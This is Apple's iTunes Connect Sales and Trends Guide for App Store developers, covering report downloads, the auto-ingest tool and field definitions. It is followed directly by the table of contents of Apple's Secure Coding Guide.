The Top Products display is based on the period (specific day or week), category (iOS or Mac OS) and the type
(Free Apps, Paid Apps, In Apps, Updates) selected. The section provides a summary of net units at the Product
level. A Product can be reported as separate lines in your reports due to differences such as territories but will
be reported as combined in terms of units in this display since the units are aggregated at the Product level
world-wide based on unique product identifier. The “Change” column in the display shows units and
percentage change from the prior period (selected day over same day of the prior week, or selected week over
prior week).
Top Markets Display
The Top Markets display is based on the period (specific day or week), category (iOS and Mac OS) and the type
(e.g. Free Apps) selected. This section provides a summary of net units for all products at the country (iTunes
Storefront) level. The “Change” column in the display shows units and percentage change from the prior period
(selected day over same day of the prior week, or selected week over prior week). See Appendix F for iTunes
Storefront listing.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 9Resources
At the bottom left of all pages you will find three links:
■ Fiscal Calendar - Opens a new window that displays Apple’s fiscal calendar
■ User Guide - Provides the most current version of this guide
■ Mobile Guide - Provides the user guide for the iTC Mobile Application.
Done Button
The “Done” button at the bottom right of all pages takes you to the Dashboard from the Sales view, and to the
iTunes Connect Welcome page from the Dashboard.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 102.2. Sales View
The Sales view allows you to analyze at the specific content level.
You can preview the Top 50 products delivered based on transaction volume summarized and sorted
descending by Units, and can download the available daily and weekly reports for additional information
about all your transactions.
You can also download detailed Newsstand reports or contact information for customers that have elected to
“opt-in” when purchasing an In-App Purchase subscription.
The following is an example of the Sales view.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 11Understanding The Sales Preview
When you land on the Sales view, the Period presented is the latest daily data available. Using the Period
Selection menu, you can preview all available daily and weekly data for all content types in all categories.
Once you have selected a period, the Preview will be displayed. The Preview summarizes the data based on
the columns displayed, including any promotional transactions indicated with (Promo Indicator). You can
hover over the Promo Indicator to see the type of promotion. See Appendix G for Promotional Codes. Autorenewable subscription transactions are indicated with (Subscription Indicator).
The preview functionality does not contain the full report. To view or analyze all transactions you
must download the full reports. The previews summarize data differently than the reports based
on the information available (i.e. the preview may summarize sales at a higher level as the
downloaded report has more fields to consider).
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 123. Downloading, Reading and Understanding
Sales and Trends Data
3.1. Downloading Reports
You may download the Sales reports from the respective Sales view. To download a report (tab delimited
zipped text file), you must select a report period (day of week or week ended) and press the download button
to the right of the period selection menu. For a complete listing of fields please see Appendix A, B and M.
If you are using Mac OS X the reports will automatically open when downloaded. If you are using a Windows
OS you will need to download an application (for example WinZip) to decompress the “.gz” file prior to use.
You can then import the tab delimited text file to a database or spreadsheet application (Numbers, MS Excel)
and analyze or manipulate your data as needed. Weekly reports cover Monday through Sunday and are
available on Mondays. The daily reports represent the 24 hour period in the time zone of the respective
storefront (territory). Please refer to Appendix D for the definition of Day and Week.
We do not store or regenerate the data after the periods have expired (14 rolling days and 13
rolling weeks); you will need to download and store this data on a regular basis if you intend to
use it in the future.
Downloading Customer Opt-In Information
If your apps have auto-renewable subscriptions, you can download contact information for customers who
have elected to “opt-in” to personal information sharing. To download the report (tab delimited zipped text
file), you must select a weekly report period and click Opt-In Report next to Download Report.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 13To open the encrypted .zip file that is downloaded, you need to use the Opt-In Passkey. To obtain the Opt-In
Passkey, click the Opt-In Passkey button in the upper right of the screen. The passkey will be displayed in a
lightbox.
Copy and paste this value to use it to unpack the .zip file and access the Opt-In Report. You will need to use a
decompression tool like Stuff-It Expander or Winzip to open the encrypted file once you have downloaded it.
Downloading Newsstand Reports
If you have one or more Newsstand apps available for sale, you can download Newsstand reports by clicking
Newsstand Detailed. Newsstand reports are also available via auto-ingest.
3.2. Auto-Ingest Tool
Apple provides access to a Java based tool to allow you to automate the download of your iTunes Connect
Sales and Trends reports. To use the auto-ingest tool, configuration on your part will be required. This tool
allows you to automate the retrieval of:
•Daily Summary Reports
•Weekly Summary Reports
•Opt-In Reports
•Newsstand Reports
As new reports become available we will modify and redeliver the java package or new parameters to use to
download new products (i.e. we will modify the script for new features). We will communicate both the
anticipated date of the report release and the date that the tool will be able to retrieve reports.
You may not alter or disseminate the auto-ingest tool for any reason. We reserve the right to revoke access for
usage or distribution beyond its intended use.
Auto-Ingest Instructions
You must have Java installed on the machine where you are running the auto-ingest tool. The tool will work as
expected with Java version 1.6 or above.
Follow the steps below to setup the environment for auto-ingestion:
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 141. Download and save the file Autoingestion.class to the directory where you want the reports delivered.
http://www.apple.com/itunesnews/docs/Autoingestion.class.zip
2. To run the Java class file, change the command line directory to the directory where the class file is stored.
3. Invoke the following from the command line:
java Autoingestion
All items contained within “< >” are variable and will require you to define them. Of the 7 parameters only
the date is optional. If you do not put a date in the parameter we will provide you the latest available
report (the other parameters are mandatory). You will need to delimit the parameters with a space.
Parameters Definitions
Variable Value Notes
username Your user name The user name you use to log into iTunes Connect
password Your password The password you use to log into iTunes Connect
vendorid 8####### (your unique
number)
Vendor ID for the entity which you want to download the report
report_type Sales or Newsstand This is the report type you want to download.
date_type Daily or Weekly Selecting Weekly will provide you the Weekly version of the report. Selecting Daily will provide you
the Daily version of the report.
report_subtype Summary, Detailed or
Opt-In
This is the parameter for the Sales Reports.
Note: Detailed can only be used for Newsstand
reports.
Date (optional) YYYYMMDD This is the date of report you are requesting. If the
value for Date parameter is not provided, you will
get the latest report available.
Example:
You access iTunes Connect with user name “john@xyz.com” and your password is “letmein” for company
80012345, and you want to download a sales - daily - summary report for February 4, 2010.
You will need to invoke the job by running the following command from the directory where the class file is
stored:
java Autoingestion john@xyz.com letmein 80012345 Sales Daily Summary 20100204
Newsstand Reports via Auto-Ingest
If you are using auto-ingest, you can create the reports using the following auto-ingest parameters:
Daily
java Autoingestion Newsstand Daily Detailed
java Autoingestion N D D
java Autoingestion 5 2 1
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 15Weekly
java Autoingestion Newsstand Weekly Detailed
java Autoingestion N W D
java Autoingestion 5 1 1
3.3. Reading Reports
Report File Names
The file names for downloaded reports follow a standard naming convention. Please refer to the matrix below
for details.
Report Data Report Type Reporting
Range
Naming Convention Description
Sales Summary Daily S_D__
Example:
S_D_80000000_20111104
The first letter identifies that the
report provides Sales data at a
Summary level. Second letter
denotes that it is a Daily report.
This is followed by the Vendor
Account Number and the Date of
reporting data ('YYYYMMDD').
Sales Summary Weekly S_W__
Example:
S_W_80000000_20111104
The first letter identifies that the
report provides Sales data at a
Summary level. Second letter
denotes that it is a Weekly report.
This is followed by the Vendor
Account Number and the Date of
reporting data ('YYYYMMDD').
Opt_in Summary Weekly O_S_W__
Example:
O_S_W_80000000_20111104
The first and second letters identify that the report provides customer Opt-in data at a Summary
level. The third letter identifies
that it is a Weekly report. This is
followed by the Vendor Account
Number and the Date of reporting data ('YYYYMMDD').
Newsstand Detailed Daily N_D_D__
Example:
N_D_D_80000000_20111104
The first and second letters identify that the report provides customer Newsstand data at a Detailed level. The third letter identifies that it is a Daily report. This is
followed by the Vendor Account
Number and the Date of reporting data ('YYYYMMDD').
Newsstand Detailed Weekly N_D_W__
Example:
N_D_W_80000000_20111104
The first and second letters identify that the report provides customer Newsstand data at a Detailed level. The third letter identifies that it is a Weekly report. This
is followed by the Vendor Account Number and the Date of
reporting data ('YYYYMMDD').
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 16Report Field Names
All reports have a header row which contains the field names of each column. The reports present transactions
that can be tracked with your SKU and/or the Apple Identifier. For a complete listing of fields please see
Appendix A, B and M.
Key Field Mapping
The following table and screenshots will help you understand which fields in the report were setup by you in
iTunes Connect and where they are in the App Store:
Reference Field Name In Report Field in iTunes Connect Field in App Store
1 Developer Company Name Displayed after genre
2 Title App Name Displayed at top of product page
3 SKU SKU Number Not displayed on App Store
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 17Apple Identifier
The Apple Identifier is the unique product identifier assigned by Apple. It is always included in each row of
your sales reports. We recommend you provide the Apple Identifier of your app whenever you contact us for
support so that your request can be expedited.
You can also access the Apple Identifier by using the links in the App Store:
The menu will offer an option for “Copy Link”. The link will look like the link below. The string of numbers
highlighted is the Apple Identifier of the app.
http://itunes.apple.com/us/app/remote/id284417350?mt=85
3.4. Understanding Units
The reports are designed to provide valuable information about the activity of your product on the App Store.
This can result in many lines for a given product. For each product with a unique Apple Identifier and SKU,
units are split by:
■ Storefront / Country Code (US, UK)
■ Sales vs. Refunds
■ Product Type
■ Price
■ Promo Code
■ App Version
Here are some examples of how units are grouped and displayed in both Preview and downloaded reports.
Example 1: If you have one product and you are selling the product in the US, you will see 1 row (1 for US
sales) assuming there are no refunds, price changes and promo codes during the period.
Example 2: If you are selling 30 products in the US, and 10 of the products have refunds, then the preview and
the downloaded report will have 40 rows and you will see a row for sales and a row for refunds.
Example 3: If you are selling 30 products in the US, and 5 products have a price change in the middle of the
week, then your full report and your previews will have 35 rows and you will see 2 lines per app with a price
change.
Example 4: If 10 new customers purchase your app and 10 existing customers update to the latest version of
your app in the US, then your preview and downloaded report will have 1 row for purchases and 1 row for
updates.
Example 5: If 10 customers purchase version 1.1 of your product in the US, and those customers then update to
version 1.2 of the same product, then your preview and downloaded report will have 2 rows, 1 row for
purchases of version 1.1 and 1 row for updates to version 1.2.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 184. Contact Us
If you have any questions or have difficulties viewing or downloading your sales and trends information,
please do not hesitate to contact us. The easiest way to ensure your request is routed correctly is to use the
Contact Us module. A Contact Us link is available on all pages as part of the footer.
You can also find the Contact Us module on the iTunes Connect Homepage:
The link will take you to a page that allows you to select the topic you need help with and will ask a series of
questions and provide answers where available. For Sales and Trends inquiries, select the “Sales and Trends”
topic.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 19Appendix A - Sales Report Field Definitions
The definitions apply to Daily and Weekly Reports.
Report Field Report Data Type Values Notes
Provider CHAR(5) - APPLE Up to 5 Characters
The service provider in your reports
will typically be Apple
Provider Country CHAR(2) - US Up to 2 Characters
The service provider country code will
typically be US
SKU VARCHAR(100) Up to 100 Characters
This is a product identifier provided by
you when the app is set up ∇
Developer VARCHAR(4000) Up to 4000 Characters You provided this on initial setup
.
∇
Title VARCHAR(600) Up to 600 Characters
You provided this when setting up the
app ∇
Version VARCHAR(100) Up to 100 Characters
You provided this when setting up the
app ∇
Product Type Identifier VARCHAR(20) Up to 20 Characters
This field defines the type of transaction (e.g. initial download, update, etc)
– See Appendix E
Units DECIMAL(18,2) Up to 18 Characters
This is the aggregated number of
units
Developer Proceeds (per item) DECIMAL(18,2) Up to 18 Characters Your proceeds for each item delivered
Begin Date Date Date in MM/DD/YYYY Date of beginning of report
End Date Date Date in MM/DD/YYYY Date of end of report
Customer Currency CHAR(3) Up to 3 Characters
Three character ISO code indicates
the currency the customer paid in -
See Appendix H
Country Code CHAR(2) Up to 2 Characters
Two character ISO country code
indicates what App Store the purchase occurred in – See Appendix F
Currency of Proceeds CHAR(3) Up to 3 Characters
Currency your proceeds are earned in
– See Appendix H
Apple Identifier DECIMAL(18,0) Up to 18 Characters
This is Apple's unique identifier. If you
have questions about a product, it is
best to include this identifier.
Customer Price DECIMAL(18,2) Up to 18 Characters
Retail Price displayed on the App
Store and charged to the customer.
Promo Code VARCHAR(10) Up to 10 Characters
If the transaction was part of a promotion this field will contain a value.
For all non-promotional items this field
will be blank - See Appendix G
Parent Identifier VARCHAR(100) Up to 100 Characters
For In-App Purchases this will be
populated with the SKU from the
originating app.
Subscription VARCHAR(10) Up to 10 Characters
This field defines whether an autorenewable subscription purchase is a
new purchase or a renewal. See
Appendix I.
Period VARCHAR(30) Up to 30 Characters
This field defines the duration of an
auto-renewable subscription
purchase. See Appendix I.
∇ Apple generally does not modify this field. What you provided when setting up your app is passed through
on the report.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 20Appendix B - Opt-In Report Field Definitions
The definitions apply to Weekly Opt-In Reports.
Report Field Report Data Type Values Notes
First Name VARCHAR(100) Up to 100 Characters First Name of Customer
Last Name VARCHAR(100) Up to 100 Characters Last Name of Customer
Email Address VARCHAR(100) Up to 100 Characters Email Address of Customer
Postal Code VARCHAR(50) Up to 50 Characters Postal Code of Customer
Apple Identifier DECIMAL(18,0) Up to 18 Characters
This is Apple's unique identifier. If you
have questions about a product, it is
best to include this identifier.
Report Start Date DATE Date in MM/DD/YYYY Date of beginning of report
Report End Date DATE Date in MM/DD/YYYY Date of end of report
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 21Appendix C - Apple Fiscal Calendar
Monthly Financial Reports are based on Apple’s reporting calendar shown below. Months represent either four
(4) or five (5) weeks (the first month of each quarter has an extra week) and the weeks run from Sunday
through Saturday. All months start on Sunday and end on Saturday. Monthly reports are also distributed on
iTunes Connect and available based on the contractually agreed timeframes.
Sales and Trends reports are generated using different time frames and represent near immediate
feedback of transactions. Finance Reports are based on customer invoicing and financial
processing. Reconciliation between the reports is not recommended due to the timing and
reporting differences.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 22Appendix D - Definition of Day and Week
What is a Day?
12:00:00 AM to 11:59:59 PM in the time zone used for that territory (see table below).
What is a Week?
Monday 12:00:00 AM to Sunday 11:59:59 PM
What time is the report date based on?
Territory Time Zone
US, Canada, Latin America Pacific Time (PT)
Europe, Middle East, Africa, Asia Pacific Central Europe Time (CET)
Japan Japan Standard Time (JST)
Australia, New Zealand Western Standard Time (WST)
When are reports available?
Reports are generated after the close of business in the final time zone (which is PT). As such, all reports are
generally available by 8:00 AM PT for the prior day or week. Earlier access to reporting for other time zones
(where the close of business is earlier) is not available.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 23Appendix E – Product Type Identifiers
Product Type
Identifier
Type Description
1 Free or Paid Apps iPhone and iPod Touch, iOS
7 Updates iPhone and iPod Touch, iOS
IA1 In Apps Purchase, iOS
IA9 In Apps Subscription, iOS
IAY In Apps Auto-Renewable Subscription, iOS
IAC In Apps Free Subscription, iOS
1F Free or Paid Apps Universal, iOS
7F Updates Universal, iOS
1T Free or Paid Apps iPad, iOS
7T Updates iPad, iOS
F1 Free or Paid Apps Mac OS
F7 Updates Mac OS
FI1 In Apps Mac OS
1E Paid Apps Custom iPhone and iPod Touch, iOS
1EP Paid Apps Custom iPad, iOS
1EU Paid Apps Custom Universal, iOS
Dashboard Types
Type Product Type Identifier Description
Free Apps 1, 1F, 1T, F1 Where price = ‘0’
Paid Apps 1, 1F, 1T, F1 Where price > ‘0’
In Apps IA1, IA9, IAY. FI1
Updates 7, 7F, 7T, F7
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 24Appendix F – Country Codes
Country
Code
Country Name
Country
Code
Country Name
Country
Code
Country Name
AE United Arab Emirates GD Grenada NG Nigeria
AG Antigua and Barbuda GH Ghana NI Nicaragua
AI Anguilla GR Greece NL Netherlands
AM Armenia GT Guatemala NO Norway
AO Angola GY Guyana NZ New Zealand
AR Argentina HK Hong Kong OM Oman
AT Austria HN Honduras PA Panama
AU Australia HR Croatia PE Peru
AZ Azerbaijan HU Hungary PH Philippines
BB Barbados ID Indonesia PK Pakistan
BE Belgium IE Ireland PL Poland
BG Bulgaria IL Israel PT Portugal
BH Bahrain IN India PY Paraguay
BM Bermuda IS Iceland QA Qatar
BN Brunei IT Italy RO Romania
BO Bolivia JM Jamaica RU Russia
BR Brazil JO Jordan SA Saudi Arabia
BS Bahamas JP Japan SE Sweden
BW Botswana KE Kenya SG Singapore
BY Belarus KN St. Kitts and Nevis SI Slovenia
BZ Belize KR Republic Of Korea SK Slovakia
CA Canada KW Kuwait SN Senegal
CH Switzerland KY Cayman Islands SR Suriname
CL Chile KZ Kazakstan SV El Salvador
CN China LB Lebanon TC Turks and Caicos
CO Colombia LC St. Lucia TH Thailand
CR Costa Rica LK Sri Lanka TN Tunisia
CY Cyprus LT Lithuania TR Turkey
CZ Czech Republic LU Luxembourg TT Trinidad and Tobago
DE Germany LV Latvia TW Taiwan
DK Denmark MD Republic Of Moldova TZ Tanzania
DM Dominica MG Madagascar UG Uganda
DO Dominican Republic MK Macedonia US United States
DZ Algeria ML Mali UY Uruguay
EC Ecuador MO Macau UZ Uzbekistan
EE Estonia MS Montserrat VC
St. Vincent and The
Grenadines
EG Egypt MT Malta VE Venezuela
ES Spain MU Mauritius VG British Virgin Islands
FI Finland MX Mexico VN Vietnam
FR France MY Malaysia YE Yemen
GB United Kingdom NE Niger ZA South Africa
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 25Appendix G – Promotional Codes
The promo code field contains different values depending on the type of promotion. The following definitions
describe the possible values that may appear in the field other than null (null means the item is a standard
transaction). Only one value is possible per line in the report:
Promo Code Description
CR - RW
Promotional codes where the proceeds have been waived (The customer price will
be 0 and the proceeds will be 0). These transactions are the result of iTunes Connect Developer Code redemptions.
GP Purchase of a Gift by the giver
GR Redemption of a Gift by the receiver
EDU Education Store transaction
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 26Appendix H – Currency Codes
Currency Code Currency Country
AUD Australian Dollar
CAD Canadian Dollar
CHF Swiss Franc
DKK Danish Kroner
EUR European Euro
GBP British Pound
JPY Japanese Yen
MXN Mexican Peso
NOK Norwegian Kroner
NZD New Zealand Dollar
SEK Swedish Kronor
USD United States Dollar
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 27Appendix I - Subscription and Period Field
Values
The Subscription field indicates whether the auto-renewable subscription purchase is a new purchase or a
renewal.
Subscription Field Value
New
Renewal
The Period field indicates the duration of the auto-renewable subscription purchase or renewal.
Period Field Value
7 Days
1 Month
2 Months
3 Months
6 Months
1 Year
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 28Appendix J - FAQs
What does each column represent in my reports?
Please refer to Appendix A and B.
I am seeing differences between Financial Reports and Sales and Trends reports, why?
The daily and weekly reports are based on customer interaction (clicks) and are coming from real-time systems
while the monthly reports are based on settled financial transactions and are coming from our financial
systems. There are intentional differences in processing and time-frames between those two types of reports.
For example, the weekly reports are from Monday to Sunday, while the Financial Reports are based on the
Apple Fiscal Calendar and always end on Saturday. Reconciliation between the reports is not recommended
due to the timing and reporting differences.
Do weekly reports reconcile with the daily reports?
Yes. Both daily and weekly reports are coming from the same system and they are based on customer
interaction (clicks). They will reconcile.
I see a high volume of sales for a short period of time (could be up to a week) and the sales drop down,
what does this mean?
It is very common that some items get a high amount of sales for a short period of time and the numbers get
back to normal. It is generally due to a particular promotion related with a web blog or a sales campaign that
includes an item that might be associated with iTunes or the content.
There is also a very common case where a content's sales drop to zero. In this case, this might be an
indication of content being unavailable in iTunes due to number of reasons.
I don’t see any sales for a particular item, why?
This can be an indication of an item not being available in the store for different reasons. Check the product
availability in iTunes Connect and ensure that the latest contracts are agreed to and in place.
How can I identify refunds?
Sales and Trends reports expose refunds to allow you to monitor refund rate by product. You will see a
negative unit value for refund transactions.
Why there are refunds on my reports?
We will provide a refund if the customer experience was in our opinion unsatisfactory (generally quality
issues).
One thing you can monitor on your reports is the rate of refunds and the content that is refunded since it is an
indication of quality issues with your content.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 29Appendix K - Sample Sales Report
The following is a sample Sales report to help you interpret its contents.
Price fields are dependent on the storefront
1
from which the customer purchases the app, and the price of the
app at the time of purchase
2
.
(For complete field definitions see Appendix A)
Reading the Report
The example above is the most likely scenario you will see:
■ SKU – “SKU1” is the SKU attached to this app by the developer.
■ Developer – “Vendor” is the name that the app is sold under on the store
■ Title – “App-1” is the name of the app
■ Product Type Identifier – “1” denotes the type of transaction (initial download)
■ Units – “352” is the number of units sold for a given day/week
■ Developer Proceeds – “3.65” is proceeds, net of commission, you will receive for each sale of the app
■ Customer Currency – “GBP” (Great Britain Pounds) is the currency in which the customer purchased the app
■ Currency of Proceeds – “GBP” (Great Britain Pounds) is the currency in which your proceeds were earned for
the app
■ Customer Price – “5.99” is the price paid by the customer for the app
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 30
1
As new territories are added, storefronts will further differentiate records
2
If you change your price during the reporting period, the report will show multiple price points for the same countryAdditional Reporting Scenarios
We have provided some additional scenarios and sample extract to help you further understand your reports.
In your reports the Product Type Identifier denotes the type of transaction (See Appendix E for a list of all
types). The Product Type Identifier must be taken into account in all of the following scenarios.
Scenario 1 (Product Type Identifier=1; Units=16; Developer Proceeds=4.86)
This is similar to the first line; the Developer Proceeds value will always be greater than zero for all paid apps
and zero for free apps.
Scenario 2 (Product Type Identifier=7; Units=1; Developer Proceeds=0)
Certain line items will have 0 in the Developer Proceeds field. Even if you only have paid apps on the store, the
Developer Proceeds will be 0 for all updates (Product Type Identifier = 7).
Scenario 3 (Product Type Identifier=1; Units=-1; Developer Proceeds=7; Customer Price=-9.99)
You may see negative units when a customer returns a product. All returns will have a Product Type Identifier
of 1 and both Units and Customer Price will be a negative value. Refer to Appendix J for additional
information on returns.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 31Appendix L – Other Uses
Below you will see some sample ideas that the data can be used for on a daily basis.
1. Business Health Monitoring
By tracking volume of sales per unit or revenue, the health of your business can be tracked. Sudden drop in
sales may indicate issues such as top seller being not available any more.
2. Content Quality Issues
By tracking the refunds, you can identify and replace the asset that is being refunded to the customer if the
refunds are specific to one or more items. Typical ratio of refunds to overall sales shall not exceed 0.10%.
3. Pricing Issues
When organizations get larger, it is always challenging to have fast/efficient communication between the
operational teams that are providing the metadata to iTunes and the Management, Marketing, Finance and
Business Development team. Tracking pricing will indicate any disconnect between different groups and will
provide opportunity to fix issues sooner and minimize the impact.
4. Price Elasticity
We believe that careful management of price can increase your sales. By using the reports you can monitor
percent change in sales in correlation with a percent change in customer price. If applied correctly this type of
analysis will help you set the best price for your product to maximize your revenue.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 32Appendix M - Newsstand Report Field
Definitions
The definitions apply to Newsstand reports.
Report Field Report Data Type Values Notes
Provider CHAR(5) - APPLE Up to 5 Characters The service provider in your
reports will typically be Apple
Provider Country CHAR(2) - US Up to 2 Characters The service provider country
code will typically be US
SKU VARCHAR(100) Up to 100 Characters This is a product identifier provided by you when the app is
set up
Developer VARCHAR(4000) Up to 4000 Characters You provided this on initial
setup.
Title VARCHAR(600) Up to 600 Characters You provided this when setting
up the app
Version VARCHAR(100) Up to 100 Characters You provided this when setting
up the app
Product Type Identifier VARCHAR(20) Up to 20 Characters This field defines the type of
transaction (e.g. initial download, update, etc) – See Appendix E
Units DECIMAL(18,2) Up to 18 Characters This is the aggregated number
of units
Developer Proceeds (per item) DECIMAL(18,2) Up to 18 Characters Your proceeds for each item
delivered
Customer Currency CHAR(3) Up to 3 Characters Three character ISO code indicates the currency the customer paid in - See Appendix H
Country Code CHAR(2) Up to 2 Characters Two character ISO country
code indicates what App Store
the purchase occurred in – See
Appendix F
Currency of Proceeds CHAR(3) Up to 3 Characters Currency your proceeds are
earned in – See Appendix H
Apple Identifier DECIMAL(18,0) Up to 18 Characters This is Apple's unique identifier.
If you have questions about a
product, it is best to include
this identifier.
Customer Price DECIMAL(18,2) Up to 18 Characters Retail Price displayed on the
App Store and charged to the
customer.
Promo Code VARCHAR(10) Up to 10 Characters If the transaction was part of a
promotion this field will contain
a value. For all non-promotional
items this field will be blank -
See Appendix G
Parent Identifier VARCHAR(100) Up to 100 Characters For In-App Purchases this will
be populated with the SKU
from the originating app.
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 33Subscription VARCHAR(10) Up to 10 Characters This field defines whether an
auto-renewable subscription
purchase is a new purchase or
a renewal. See Appendix I.
Period VARCHAR(30) Up to 30 Characters This field defines the duration of
an auto-renewable subscription
purchase. See Appendix I.
Download Date (PST) TIMESTAMP(0) Date in MM/DD/YYYY Download Date
Customer Identifier DECIMAL(18,0) Up to 18 Characters Customer Identification
Report Date (Local) DATE Date in MM/DD/YYYY Report Date
Sales/Return CHAR(1) Up to 1 character S or R; R is always a refund, R
is not a reversal
Apple Inc.
iTunes Connect Sales and Trends Guide, App Store
Version 5.3
iTunes Connect Sales and Trends Guide, App Store (Version 5.3, August 2012) 34
Secure Coding GuideContents
Introduction to Secure Coding Guide 7
At a Glance 7
Hackers, Crackers, and Attackers 7
No Platform Is Immune 8
How to Use This Document 9
See Also 10
Types of Security Vulnerabilities 11
Buffer Overflows 11
Unvalidated Input 12
Race Conditions 13
Interprocess Communication 13
Insecure File Operations 13
Access Control Problems 14
Secure Storage and Encryption 15
Social Engineering 16
Avoiding Buffer Overflows and Underflows 17
Stack Overflows 18
Heap Overflows 20
String Handling 22
Calculating Buffer Sizes 25
Avoiding Integer Overflows and Underflows 27
Detecting Buffer Overflows 28
Avoiding Buffer Underflows 29
Validating Input and Interprocess Communication 33
Risks of Unvalidated Input 33
Causing a Buffer Overflow 33
Format String Attacks 34
URLs and File Handling 36
Code Insertion 37
Social Engineering 37
Modifications to Archived Data 38
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
2Fuzzing 39
Interprocess Communication and Networking 40
Race Conditions and Secure File Operations 43
Avoiding Race Conditions 43
Time of Check Versus Time of Use 44
Signal Handling 46
Securing Signal Handlers 46
Securing File Operations 47
Check Result Codes 47
Watch Out for Hard Links 48
Watch Out for Symbolic Links 49
Case-Insensitive File Systems Can Thwart Your Security Model 49
Create Temporary Files Correctly 50
Files in Publicly Writable Directories Are Dangerous 51
Other Tips 57
Elevating Privileges Safely 59
Circumstances Requiring Elevated Privileges 59
The Hostile Environment and the Principle of Least Privilege 60
Launching a New Process 61
Executing Command-Line Arguments 61
Inheriting File Descriptors 61
Abusing Environment Variables 62
Modifying Process Limits 62
File Operation Interference 63
Avoiding Elevated Privileges 63
Running with Elevated Privileges 63
Calls to Change Privilege Level 64
Avoiding Forking Off a Privileged Process 65
authopen 65
launchd 66
Limitations and Risks of Other Mechanisms 67
Factoring Applications 69
Example: Preauthorizing 69
Helper Tool Cautions 71
Authorization and Trust Policies 72
Security in a KEXT 72
Designing Secure User Interfaces 73
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
3
ContentsUse Secure Defaults 73
Meet Users’ Expectations for Security 74
Secure All Interfaces 75
Place Files in Secure Locations 75
Make Security Choices Clear 76
Fight Social Engineering Attacks 78
Use Security APIs When Possible 79
Designing Secure Helpers and Daemons 81
Avoid Puppeteering 81
Use Whitelists 82
Use Abstract Identifiers and Structures 82
Use the Smell Test 83
Treat Both App and Helper as Hostile 83
Run Daemons as Unique Users 84
Start Other Processes Safely 84
Security Development Checklists 86
Use of Privilege 86
Data, Configuration, and Temporary Files 88
Network Port Use 89
Audit Logs 91
Client-Server Authentication 93
Integer and Buffer Overflows 97
Cryptographic Function Use 97
Installation and Loading 98
Use of External Tools and Libraries 100
Kernel Security 101
Third-Party Software Security Guidelines 103
Respect Users’ Privacy 103
Provide Upgrade Information 103
Store Information in Appropriate Places 103
Avoid Requiring Elevated Privileges 104
Implement Secure Development Practices 104
Test for Security 104
Helpful Resources 105
Document Revision History 106
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
4
ContentsGlossary 107
Index 110
2012-06-11 | © 2012 Apple Inc. All Rights Reserved.
5
ContentsFigures, Tables, and Listings
Avoiding Buffer Overflows and Underflows 17
Figure 2-1 Schematic view of the stack 19
Figure 2-2 Stack after malicious buffer overflow 20
Figure 2-3 Heap overflow 21
Figure 2-4 C string handling functions and buffer overflows 22
Figure 2-5 Buffer overflow crash log 29
Table 2-1 String functions to use and avoid 23
Table 2-2 Avoid hard-coded buffer sizes 25
Table 2-3 Avoid unsafe concatenation 26
Race Conditions and Secure File Operations 43
Table 4-1 C file functions to avoid and to use 55
Elevating Privileges Safely 59
Listing 5-1 Non-privileged process 70
Listing 5-2 Privileged process 71
